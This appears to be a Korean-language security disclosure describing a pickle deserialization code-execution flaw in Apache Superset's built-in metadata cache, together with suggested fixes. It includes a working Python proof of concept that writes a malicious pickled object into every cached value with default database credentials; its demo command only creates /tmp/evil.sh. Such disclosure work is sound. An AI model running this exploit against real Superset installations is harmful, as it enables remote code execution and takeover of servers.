
pickle을 이용한 superset 기본 캐시 익스플로잇
[ 저자 ] Dinis Cruz
[ 프로젝트 ] Superset
Apache Superset는 캐싱을 위한 여러 옵션을 제공하며, 모두 Flask-Caching을 기반으로 합니다. 내장 캐시는 값을 나중에 검색하기 위해 직렬화합니다. 이 직렬화 및 검색은 Pickle을 사용하여 수행되며, 이는 Python 객체의 역직렬화를 허용하여 코드 실행으로 이어집니다.
내장 캐시는 메타데이터 데이터베이스에 정보를 기록하며, 이는 이 데이터베이스에 접근할 수 있는 공격자가 권한을 상승시키고 Superset을 제공하는 머신/컨테이너에 원격 접근할 수 있음을 의미합니다.
MetaStoreCache 클래스는 정보 직렬화를 위해 PickleKeyValueCodec 클래스를 사용합니다.
이 문제는 먼저 내장 캐시를 기본값으로 사용하는 깨끗한 Superset 설치를 생성하여 재현되었습니다.
이 문제를 악용하기 위해 데이터베이스에 대한 접근이 필요하다는 이미 알려진 사실을 바탕으로, pickle 악용을 사용하여 모든 캐시된 값의 값을 업데이트할 수 있습니다. 이후 값이 사용자에게 다시 제공되면 pickle 모듈이 데이터를 역직렬화하고 우리의 코드를 실행합니다. 아래에서 Python PoC를 찾을 수 있습니다.
import os
import psycopg2
import pickle5 as pickle
class RCE:
def __reduce__(self):
cmd = ('touch /tmp/evil.sh')
return os.system, (cmd,)
def exploit():
pickled = pickle.dumps(RCE())
con = psycopg2.connect(
database="superset",
user="superset",
password="superset",
host="localhost",
port= '5432'
)
cursor = con.cursor()
cursor.execute('''UPDATE key_value SET value = %s''', (psycopg2.Binary(pickled),))
con.commit()
if __name__ == '__main__':
exploit()
이 스크립트는 데이터베이스 내에 캐시된 모든 값을 업데이트하며, 데이터가 사용자에게 다시 제공되면 데모 목적으로 /tmp 디렉토리 내에 evil.sh 파일이 생성됩니다.
모든 사용자가 영향을 받을 수 있습니다.
점수: 9.1
수정은 Superset 팀에 달려 있습니다. 큰 문제는 데이터 직렬화에 pickle을 사용하는 데 있습니다. 제가 이해하기로는 커밋 #23888에서 다른 구성 요소에서 Pickle 직렬화를 제거하는 전환이 이루어졌지만, 이 구성 요소는 '임의의 바이너리 유형을 처리'해야 할 필요성 때문에 유지되었습니다. 가장 깔끔한 해결책은 다른 직렬화 메커니즘으로 전환하는 것이지만, 제한된 unpickler를 구현하는 방법도 있습니다. 이는 확실한 해결책은 아니지만 구현 시 작업량이 적을 수 있습니다.
Superset 설치에서 사용 중인 메타데이터 데이터베이스에 대한 접근.
특별한 설정은 필요 없으며, 단지 페이로드를 생성하기 위한 Python 인터프리터만 있으면 됩니다. 악성 페이로드를 데이터베이스에 주입하는 방법은 다양합니다.